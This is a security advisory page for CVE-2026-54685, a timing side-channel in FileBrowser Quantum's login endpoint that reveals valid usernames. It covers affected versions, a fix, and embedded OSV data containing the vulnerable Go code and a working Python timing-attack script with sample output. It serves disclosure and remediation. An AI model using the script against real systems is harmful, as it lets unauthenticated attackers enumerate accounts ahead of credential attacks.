CVE-2026-54685: Github.com/gtsteffaniak/filebrowser/backend FileBrowser Quantum Has Username Enumeration Vulnerability
MODERATECVE-2026-54685 is a MODERATE (CVSS 5.3) filebrowser quantum has username enumeration vulnerability (CWE-208: Observable Timing Discrepancy) affecting Github.com/gtsteffaniak/filebrowser/backend libraries in the Go ecosystem. The issue involves filebrowser quantum has username enumeration via authentication timing side-channel. Remediation is available by upgrading affected packages to version 0.0.0-20260317230626-af08800667b8.
CVE-2026-54685 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-54685
To remediate this vulnerability, upgrade all affected Github.com/gtsteffaniak/filebrowser/backend dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260317230626-af08800667b8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/gtsteffaniak/filebrowser/backend
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54685, inspect your project dependencies for Github.com/gtsteffaniak/filebrowser/backend:
inspect dependencies for github.com/gtsteffaniak/filebrowser/backend
Analyze the terminal output to locate any version of Github.com/gtsteffaniak/filebrowser/backend in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260317230626-af08800667b8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-208: Observable Timing Discrepancy, where two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. In Github.com/gtsteffaniak/filebrowser/backend, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54685 Affected Github.com/gtsteffaniak/filebrowser/backend Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/gtsteffaniak/filebrowser/backend
|
Go |
< 0.0.0-20260317230626-af08800667b8
|
0.0.0-20260317230626-af08800667b8
|
References
Frequently Asked Questions
What is CVE-2026-54685?
Which Github.com/gtsteffaniak/filebrowser/backend versions are affected?
What version fixes CVE-2026-54685?
Is github.com/gtsteffaniak/filebrowser/backend affected?
What is the CVSS score of CVE-2026-54685?
What CWE is associated with CVE-2026-54685?
How can I check Go dependencies for CVE-2026-54685?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7789-65hx-f26w",
"modified" : "2026-07-08T17:35:48Z",
"published" : "2026-03-24T19:18:56Z",
"aliases" : [ "CVE-2026-54685" ],
"summary" : "FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel",
"details" : "### Summary\n\nThe `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.\n\n### Details\n\nThe vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.\n\n```go\nuser, err := userStore.Get(username)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to get user from store: %v\", err)\n\t}\n\terr = users.CheckPwd(password, user.Password)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n```\n\nIf the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.\n\nAs a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.\n\nIn testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.\n\n### PoC\n\nThe script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.\n\n```python\nimport requests\nimport time\nimport statistics\n\n# Configuration - adjust domain and wordlist as appropriate\nTARGET_URL = \"http://localhost/api/auth/login\"\nWORDLIST = [\"admin\", \"root\", \"user2\", \"nonexistent_test_user\"]\n\ndef measure(username):\n start = time.perf_counter()\n requests.post(TARGET_URL, params={\"username\": username}, headers={\"X-Password\": \"wrong-password\"})\n return time.perf_counter() - start\n\n# 1. Baseline Calibration\nprint(\"[*] Calibrating...\")\nbaselines = [measure(f\"not_a_user_{i}\") for i in range(20)]\nthreshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)\nprint(f\"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s\")\n\n# 2. Validation Test\nfor user in WORDLIST:\n t = measure(user)\n status = \"VALID\" if t > threshold else \"invalid\"\n print(f\"{user:<15} | {t:.4f}s | {status}\")\n```\n\nExample output (with `admin` and `user2` configured as valid users in the application):\n\n```\n$ python timeattack.py\n[*] Calibrating...\n[*] Baseline: 0.0041s | Threshold: 0.0256s\nadmin | 0.0505s | VALID\nroot | 0.0019s | invalid\nuser2 | 0.0464s | VALID\nnonexistent_test_user | 0.0015s | invalid\n```\n\n### Impact\n\nAn unauthenticated attacker can enumerate valid usernames by measuring authentication response times.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/gtsteffaniak/filebrowser/backend"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260317230626-af08800667b8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
}, {
"type" : "WEB",
"url" : "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gtsteffaniak/filebrowser"
}, {
"type" : "WEB",
"url" : "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-208" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-24T19:18:56Z",
"nvd_published_at" : null
}
}